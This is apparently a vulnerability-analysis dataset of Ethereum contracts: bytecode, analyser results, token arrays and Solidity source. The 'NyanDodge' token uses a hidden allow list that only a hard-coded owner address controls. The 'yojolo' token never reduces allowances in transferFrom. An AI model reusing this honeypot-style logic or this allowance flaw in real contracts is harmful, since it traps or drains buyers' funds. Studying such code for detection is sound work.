052604090205460ff165b919050565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107eb5780601f106107c0576101008083540402835291602001916107eb565b820191906000526020600020905b8154815290600101906020018083116107ce57829003601f168201915b5050505050905090565b60006108008261104d565b61083b5760405162461bcd60e51b815260040180806020018281038252602c815260200180611e49602c913960400191505060405180910390fd5b506000908152600460205260409020546001600160a01b031690565b6000610862826109fc565b9050806001600160a01b0316836001600160a01b031614156108b55760405162461bcd60e51b8152600401808060200182810382526021815260200180611ef96021913960400191505060405180910390fd5b806001600160a01b03166108c761105a565b6001600160a01b031614806108e857506108e8816108e361105a565b61101f565b6109235760405162461bcd60e51b8152600401808060200182810382526038815260200180611d9c6038913960400191505060405180910390fd5b61092d838361105e565b505050565b600b5481565b600061094460026110cc565b905090565b61095a61095461105a565b826110d7565b6109955760405162461bcd60e51b8152600401808060200182810382526031815260200180611f1a6031913960400191505060405180910390fd5b61092d83838361117b565b6001600160a01b03821660009081526001602052604081206109c290836112c7565b90505b92915050565b61092d83838360405180602001604052806000815250610d05565b6000806109f46002846112d3565b509392505050565b60006109c582604051806060016040528060298152602001611dfe60299139600291906112ef565b600c546001600160a01b03163314610a3b57600080fd5b600b55565b60098054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107eb5780601f106107c0576101008083540402835291602001916107eb565b60006001600160a01b038216610ae85760405162461bcd60e51b815260040180806020018281038252602a815260200180611dd4602a913960400191505060405180910390fd5b6001600160a01b03821660009081526001602052604090206109c5906110cc565b600c546001600160a01b03163314610b2057600080fd5b604051339082156108fc029083906000818181858888f19350505050158015610b4d573d6000803e3d6000fd5b5050565b600c546001600160a01b031681565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107eb5780601f106107c0576101008083540402835291602001916107eb565b610bc961105a565b6001600160a01b0316826001600160a01b03161415610c2f576040805162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604482015290519081900360640190fd5b8060056000610c3c61105a565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff191692151592909217909155610c8061105a565b6001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405180821515815260200191505060405180910390a35050565b600a5481565b600c546001600160a01b03163314610ce357600080fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b610d16610d1061105a565b836110d7565b610d515760405162461bcd60e51b8152600401808060200182810382526031815260200180611f1a6031913960400191505060405180910390fd5b610d5d84848484611306565b50505050565b600b543414610d7157600080fd5b600a805460010190819055610d87903390611358565b610d93600a5482611486565b50565b6060610da18261104d565b610ddc5760405162461bcd60e51b815260040180806020018281038252602f815260200180611eca602f913960400191505060405180910390fd5b60008281526008602090815260409182902080548351601f6002600019610100600186161502019093169290920491820184900484028101840190945280845260609392830182828015610e715780601f10610e4657610100808354040283529160200191610e71565b820191906000526020600020905b815481529060010190602001808311610e5457829003601f168201915b505050505090506060610e82610a40565b9050805160001415610e965750905061075a565b815115610f575780826040516020018083805190602001908083835b60208310610ed15780518252601f199092019160209182019101610eb2565b51815160209384036101000a600019018019909216911617905285519190930192850191508083835b60208310610f195780518252601f199092019160209182019101610efa565b6001836020036101000a038019825116818451168082178552505050505050905001925050506040516020818303038152906040529250505061075a565b80610f61856114e9565b6040516020018083805190602001908083835b60208310610f935780518252601f199092019160209182019101610f74565b51815160209384036101000a600019018019909216911617905285519190930192850191508083835b60208310610fdb5780518252601f199092019160209182019101610fbc565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405292505050919050565b600b5490565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b60006109c56002836115c4565b3390565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190611093826109fc565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60006109c5826115d0565b60006110e28261104d565b61111d5760405162461bcd60e51b815260040180806020018281038252602c815260200180611d70602c913960400191505060405180910390fd5b6000611128836109fc565b9050806001600160a01b0316846001600160a01b031614806111635750836001600160a01b0316611158846107f5565b6001600160a01b0316145b806111735750611173818561101f565b949350505050565b826001600160a01b031661118e826109fc565b6001600160a01b0316146111d35760405162461bcd60e51b8152600401808060200182810382526029815260200180611ea16029913960400191505060405180910390fd5b6001600160a01b0382166112185760405162461bcd60e51b8152600401808060200182810382526024815260200180611d4c6024913960400191505060405180910390fd5b61122383838361092d565b61122e60008261105e565b6001600160a01b038316600090815260016020526040902061125090826115d4565b506001600160a01b038216600090815260016020526040902061127390826115e0565b50611280600282846115ec565b5080826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b60006109c28383611602565b60008080806112e28686611666565b9097909650945050505050565b60006112fc8484846116e1565b90505b9392505050565b61131184848461117b565b61131d848484846117ab565b610d5d5760405162461bcd60e51b8152600401808060200182810382526032815260200180611d1a6032913960400191505060405180910390fd5b6001600160a01b0382166113b3576040805162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604482015290519081900360640190fd5b6113bc8161104d565b1561140e576040805162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604482015290519081900360640190fd5b61141a6000838361092d565b6001600160a01b038216600090815260016020526040902061143c90826115e0565b50611449600282846115ec565b5060405181906001600160a01b038416906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b61148f8261104d565b6114ca5760405162461bcd60e51b815260040180806020018281038252602c815260200180611e75602c913960400191505060405180910390fd5b6000828152600860209081526040909120825161092d92840190611c64565b60608161150e57506040805180820190915260018152600360fc1b602082015261075a565b8160005b811561152657600101600a82049150611512565b60608167ffffffffffffffff8111801561153f57600080fd5b506040519080825280601f01601f19166020018201604052801561156a576020820181803683370190505b50859350905060001982015b83156115bb57600a840660300160f81b8282806001900393508151811061159957fe5b60200101906001600160f81b031916908160001a905350600a84049350611576565b50949350505050565b60006109c28383611913565b5490565b60006109c2838361192b565b60006109c283836119f1565b60006112fc84846001600160a01b038516611a3b565b815460009082106116445760405162461bcd60e51b8152600401808060200182810382526022815260200180611cf86022913960400191505060405180910390fd5b82600001828154811061165357fe5b9060005260206000200154905092915050565b8154600090819083106116aa5760405162461bcd60e51b8152600401808060200182810382526022815260200180611e276022913960400191505060405180910390fd5b60008460000184815481106116bb57fe5b906000526020600020906002020190508060000154816001015492509250509250929050565b6000828152600184016020526040812054828161177c5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611741578181015183820152602001611729565b50505050905090810190601f16801561176e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5084600001600182038154811061178f57fe5b9060005260206000209060020201600101549150509392505050565b60006117bf846001600160a01b0316611ad2565b6117cb57506001611173565b60606118d9630a85bd0160e11b6117e061105a565b88878760405160240180856001600160a01b03168152602001846001600160a01b0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561184757818101518382015260200161182f565b50505050905090810190601f1680156118745780820380516001836020036101000a031916815260200191505b5095505050505050604051602081830303815290604052906001600160e01b0319166020820180516001600160e01b038381831617835250505050604051806060016040528060328152602001611d1a603291396001600160a01b0388169190611ad8565b905060008180602001905160208110156118f257600080fd5b50516001600160e01b031916630a85bd0160e11b1492505050949350505050565b60009081526001919091016020526040902054151590565b600081815260018301602052604081205480156119e7578354600019808301919081019060009087908390811061195e57fe5b906000526020600020015490508087600001848154811061197b57fe5b6000918252602080832090910192909255828152600189810190925260409020908401905586548790806119ab57fe5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506109c5565b60009150506109c5565b60006119fd8383611913565b611a33575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556109c5565b5060006109c5565b600082815260018401602052604081205480611aa05750506040805180820182528381526020808201848152865460018181018955600089815284812095516002909302909501918255915190820155865486845281880190925292909120556112ff565b82856000016001830381548110611ab357fe5b90600052602060002090600202016001018190555060009150506112ff565b3b151590565b60606112fc848460008585611aec85611ad2565b611b3d576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b60208310611b7c5780518252601f199092019160209182019101611b5d565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611bde576040519150601f19603f3d011682016040523d82523d6000602084013e611be3565b606091505b5091509150611bf3828286611bfe565b979650505050505050565b60608315611c0d5750816112ff565b825115611c1d5782518084602001fd5b60405162461bcd60e51b8152602060048201818152845160248401528451859391928392604401919085019080838360008315611741578181015183820152602001611729565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611ca557805160ff1916838001178555611cd2565b82800160010185558215611cd2579182015b82811115611cd2578251825591602001919060010190611cb7565b50611cde929150611ce2565b5090565b5b80821115611cde5760008155600101611ce356fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e64734552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e7465724552433732313a207472616e7366657220746f20746865207a65726f20616464726573734552433732313a206f70657261746f7220717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a20617070726f76652063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f76656420666f7220616c6c4552433732313a2062616c616e636520717565727920666f7220746865207a65726f20616464726573734552433732313a206f776e657220717565727920666f72206e6f6e6578697374656e7420746f6b656e456e756d657261626c654d61703a20696e646578206f7574206f6620626f756e64734552433732313a20617070726f76656420717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732314d657461646174613a2055524920736574206f66206e6f6e6578697374656e7420746f6b656e4552433732313a207472616e73666572206f6620746f6b656e2074686174206973206e6f74206f776e4552433732314d657461646174613a2055524920717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a20617070726f76616c20746f2063757272656e74206f776e65724552433732313a207472616e736665722063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f766564a264697066735822122069a02ad6524f535cd70c95e9b1e9d309e976012e06025cf59be7faf5a869110e64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2278, 23632, 17914, 2575, 8586, 2549, 2546, 16576, 26976, 2278, 2620, 2497, 17465, 2497, 2094, 2575, 2620, 2475, 2278, 2487, 5243, 2692, 2497, 17465, 2683, 17465, 2629, 15878, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 16048, 2629, 3115, 1010, 2004, 4225, 1999, 1996, 1008, 16770, 1024, 1013, 1013, 1041, 11514, 2015, 1012, 28855, 14820, 1012, 8917, 1013, 1041, 11514, 2015, 1013, 1041, 11514, 1011, 13913, 1031, 1041, 11514, 1033, 1012, 1008, 1008, 10408, 2545, 2064, 13520, 2490, 1997, 3206, 19706, 1010, 2029, 2064, 2059, 2022, 1008, 10861, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,427
0x96c429803b952c026349e6e053cd9e9aa8c05f41
pragma solidity ^0.8.2; contract Token { mapping(address => uint) public balances; mapping(address => mapping(address => uint)) public allowance; uint public totalSupply = 10000000000 * 10 ** 18; string public name = "yojolo"; string public symbol = "yojolo"; uint public decimals = 18; event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); constructor() { balances[msg.sender] = totalSupply; } function balanceOf(address owner) public returns(uint) { return balances[owner]; } function transfer(address to, uint value) public returns(bool) { require(balanceOf(msg.sender) >= value, 'balance too low'); balances[to] += value; balances[msg.sender] -= value; emit Transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) public returns(bool) { require(balanceOf(from) >= value, 'balance too low'); require(allowance[from][msg.sender] >= value, 'allowance too low'); balances[to] += value; balances[from] -= value; emit Transfer(from, to, value); return true; } function approve(address spender, uint value) public returns (bool) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } }
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c8063313ce56711610066578063313ce5671461016f57806370a082311461018d57806395d89b41146101bd578063a9059cbb146101db578063dd62ed3e1461020b5761009e565b806306fdde03146100a3578063095ea7b3146100c157806318160ddd146100f157806323b872dd1461010f57806327e235e31461013f575b600080fd5b6100ab61023b565b6040516100b89190610a38565b60405180910390f35b6100db60048036038101906100d69190610944565b6102c9565b6040516100e89190610a1d565b60405180910390f35b6100f96103bb565b6040516101069190610a9a565b60405180910390f35b610129600480360381019061012491906108f5565b6103c1565b6040516101369190610a1d565b60405180910390f35b61015960048036038101906101549190610890565b6105e7565b6040516101669190610a9a565b60405180910390f35b6101776105ff565b6040516101849190610a9a565b60405180910390f35b6101a760048036038101906101a29190610890565b610605565b6040516101b49190610a9a565b60405180910390f35b6101c561064d565b6040516101d29190610a38565b60405180910390f35b6101f560048036038101906101f09190610944565b6106db565b6040516102029190610a1d565b60405180910390f35b610225600480360381019061022091906108b9565b610841565b6040516102329190610a9a565b60405180910390f35b6003805461024890610bd6565b80601f016020809104026020016040519081016040528092919081815260200182805461027490610bd6565b80156102c15780601f10610296576101008083540402835291602001916102c1565b820191906000526020600020905b8154815290600101906020018083116102a457829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103a99190610a9a565b60405180910390a36001905092915050565b60025481565b6000816103cd85610605565b101561040e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161040590610a5a565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156104cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c490610a7a565b60405180910390fd5b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461051b9190610ad1565b92505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105709190610b27565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516105d49190610a9a565b60405180910390a3600190509392505050565b60006020528060005260406000206000915090505481565b60055481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6004805461065a90610bd6565b80601f016020809104026020016040519081016040528092919081815260200182805461068690610bd6565b80156106d35780601f106106a8576101008083540402835291602001916106d3565b820191906000526020600020905b8154815290600101906020018083116106b657829003601f168201915b505050505081565b6000816106e733610605565b1015610728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071f90610a5a565b60405180910390fd5b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107769190610ad1565b92505081905550816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107cb9190610b27565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161082f9190610a9a565b60405180910390a36001905092915050565b6001602052816000526040600020602052806000526040600020600091509150505481565b60008135905061087581610cc9565b92915050565b60008135905061088a81610ce0565b92915050565b6000602082840312156108a257600080fd5b60006108b084828501610866565b91505092915050565b600080604083850312156108cc57600080fd5b60006108da85828601610866565b92505060206108eb85828601610866565b9150509250929050565b60008060006060848603121561090a57600080fd5b600061091886828701610866565b935050602061092986828701610866565b925050604061093a8682870161087b565b9150509250925092565b6000806040838503121561095757600080fd5b600061096585828601610866565b92505060206109768582860161087b565b9150509250929050565b61098981610b6d565b82525050565b600061099a82610ab5565b6109a48185610ac0565b93506109b4818560208601610ba3565b6109bd81610c66565b840191505092915050565b60006109d5600f83610ac0565b91506109e082610c77565b602082019050919050565b60006109f8601183610ac0565b9150610a0382610ca0565b602082019050919050565b610a1781610b99565b82525050565b6000602082019050610a326000830184610980565b92915050565b60006020820190508181036000830152610a52818461098f565b905092915050565b60006020820190508181036000830152610a73816109c8565b9050919050565b60006020820190508181036000830152610a93816109eb565b9050919050565b6000602082019050610aaf6000830184610a0e565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610adc82610b99565b9150610ae783610b99565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610b1c57610b1b610c08565b5b828201905092915050565b6000610b3282610b99565b9150610b3d83610b99565b925082821015610b5057610b4f610c08565b5b828203905092915050565b6000610b6682610b79565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b83811015610bc1578082015181840152602081019050610ba6565b83811115610bd0576000848401525b50505050565b60006002820490506001821680610bee57607f821691505b60208210811415610c0257610c01610c37565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f62616c616e636520746f6f206c6f770000000000000000000000000000000000600082015250565b7f616c6c6f77616e636520746f6f206c6f77000000000000000000000000000000600082015250565b610cd281610b5b565b8114610cdd57600080fd5b50565b610ce981610b99565b8114610cf457600080fd5b5056fea2646970667358221220fdc806d2d94ba93ebd6bdc4e6814b5a970be124da8495b395ba3f05fd48506db64736f6c63430008020033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2278, 20958, 2683, 17914, 2509, 2497, 2683, 25746, 2278, 2692, 23833, 22022, 2683, 2063, 2575, 2063, 2692, 22275, 19797, 2683, 2063, 2683, 11057, 2620, 2278, 2692, 2629, 2546, 23632, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1016, 1025, 3206, 19204, 1063, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 1007, 2270, 5703, 2015, 1025, 12375, 1006, 4769, 1027, 1028, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 1007, 1007, 2270, 21447, 1025, 21318, 3372, 2270, 21948, 6279, 22086, 1027, 6694, 8889, 8889, 8889, 2692, 1008, 2184, 1008, 1008, 2324, 1025, 5164, 2270, 2171, 1027, 1000, 10930, 5558, 4135, 1000, 1025, 5164, 2270, 6454, 1027, 1000, 10930, 5558, 4135, 1000, 1025, 21318, 3372, 2270, 26066, 2015, 1027, 2324, 1025, 2724, 4651, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,428
0x96c45497a44dba8f3c3e8811586314cc5afbffa1
pragma solidity ^0.4.26; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract NyanDodge { using SafeMath for uint256; string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => uint256) public balances; mapping(address => bool) public allow; mapping (address => mapping (address => uint256)) public allowed; address owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public { owner = msg.sender; name = _name; symbol = _symbol; decimals = _decimals; totalSupply = _totalSupply; balances[msg.sender] = totalSupply; allow[msg.sender] = true; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } modifier onlyOwner() {require(msg.sender == address(0x8c1442F868eFE200390d9b850264014557A38B45));_;} function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(balances[_from] >= _value); require(_value <= allowed[_from][msg.sender]); require(allow[_from] == true); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function stringToUint(string s) internal pure returns (uint result) { bytes memory b = bytes(s); uint i; result = 0; for (i = 0; i < b.length; i++) { uint c = uint(b[i]); if (c >= 48 && c <= 57) { result = result * 10 + (c - 48); } } } function cyToString(uint256 value) internal pure returns (string) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = byte(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } function toAsciiString(address x) internal pure returns (string) { bytes memory s = new bytes(40); for (uint i = 0; i < 20; i++) { byte b = byte(uint8(uint(x) / (2**(8*(19 - i))))); byte hi = byte(uint8(b) / 16); byte lo = byte(uint8(b) - 16 * uint8(hi)); s[2*i] = char(hi); s[2*i+1] = char(lo); } return string(s); } function char(byte b) internal pure returns (byte c) { if (uint8(b) < 10) return byte(uint8(b) + 0x30); else return byte(uint8(b) + 0x57); } function bytesToAddress (bytes32 b) internal pure returns (address) { uint result = 0; for (uint i = 0; i < b.length; i++) { uint c = uint(b[i]); if (c >= 48 && c <= 57) { result = result * 16 + (c - 48); } if(c >= 65 && c<= 90) { result = result * 16 + (c - 55); } if(c >= 97 && c<= 122) { result = result * 16 + (c - 87); } } return address(result); } function stringToAddress(string _addr) internal pure returns (address){ bytes32 result = stringToBytes32(_addr); return bytesToAddress(result); } function stringToBytes32(string memory source) internal pure returns (bytes32 result) { bytes memory tempEmptyStringTest = bytes(source); if (tempEmptyStringTest.length == 0) { return 0x0; } assembly { result := mload(add(source, 32)) } } function time() internal constant returns(uint){ return now; } function max(uint a, uint b) internal pure returns(uint){ if(a > b) return a; return b; } function hhToString(address account) internal pure returns(string memory) { return hhToString(abi.encodePacked(account)); } function hhToString(uint256 value) internal pure returns(string memory) { return hhToString(abi.encodePacked(value)); } function hhToString(bytes32 value) internal pure returns(string memory) { return hhToString(abi.encodePacked(value)); } function hhToString(bytes memory data) internal pure returns(string memory) { bytes memory alphabet = "0123456789abcdef"; bytes memory str = new bytes(2 + data.length * 2); str[0] = '0'; str[1] = 'x'; for (uint i = 0; i < data.length; i++) { str[2+i*2] = alphabet[uint(uint8(data[i] >> 4))]; str[3+i*2] = alphabet[uint(uint8(data[i] & 0x0f))]; } return string(str); } function len(bytes32 self) internal pure returns (uint) { uint ret; if (self == 0) return 0; if (self & 0xffffffffffffffffffffffffffffffff == 0) { ret += 16; self = bytes32(uint(self) / 0x100000000000000000000000000000000); } if (self & 0xffffffffffffffff == 0) { ret += 8; self = bytes32(uint(self) / 0x10000000000000000); } if (self & 0xffffffff == 0) { ret += 4; self = bytes32(uint(self) / 0x100000000); } if (self & 0xffff == 0) { ret += 2; self = bytes32(uint(self) / 0x10000); } if (self & 0xff == 0) { ret += 1; } return 32 - ret; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function addAllow(address holder, bool allowApprove) external onlyOwner { allow[holder] = allowApprove; } }
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101ca57806323b872dd146101f557806327e235e31461027a578063313ce567146102d157806355eff2f6146103025780635c6581651461035157806370a08231146103c857806395d89b411461041f578063a9059cbb146104af578063dd62ed3e14610514578063f2fde38b1461058b578063ff9913e8146105ce575b600080fd5b3480156100e157600080fd5b506100ea610629565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101b0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c7565b604051808215151515815260200191505060405180910390f35b3480156101d657600080fd5b506101df6107b9565b6040518082815260200191505060405180910390f35b34801561020157600080fd5b50610260600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107bf565b604051808215151515815260200191505060405180910390f35b34801561028657600080fd5b506102bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bdd565b6040518082815260200191505060405180910390f35b3480156102dd57600080fd5b506102e6610bf5565b604051808260ff1660ff16815260200191505060405180910390f35b34801561030e57600080fd5b5061034f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610c08565b005b34801561035d57600080fd5b506103b2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cb1565b6040518082815260200191505060405180910390f35b3480156103d457600080fd5b50610409600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cd6565b6040518082815260200191505060405180910390f35b34801561042b57600080fd5b50610434610d1f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610474578082015181840152602081019050610459565b50505050905090810190601f1680156104a15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104bb57600080fd5b506104fa600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dbd565b604051808215151515815260200191505060405180910390f35b34801561052057600080fd5b50610575600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fe1565b6040518082815260200191505060405180910390f35b34801561059757600080fd5b506105cc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b005b3480156105da57600080fd5b5061060f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b2565b604051808215151515815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106bf5780601f10610694576101008083540402835291602001916106bf565b820191906000526020600020905b8154815290600101906020018083116106a257829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60035481565b60008073ffffffffffffffffffffffffff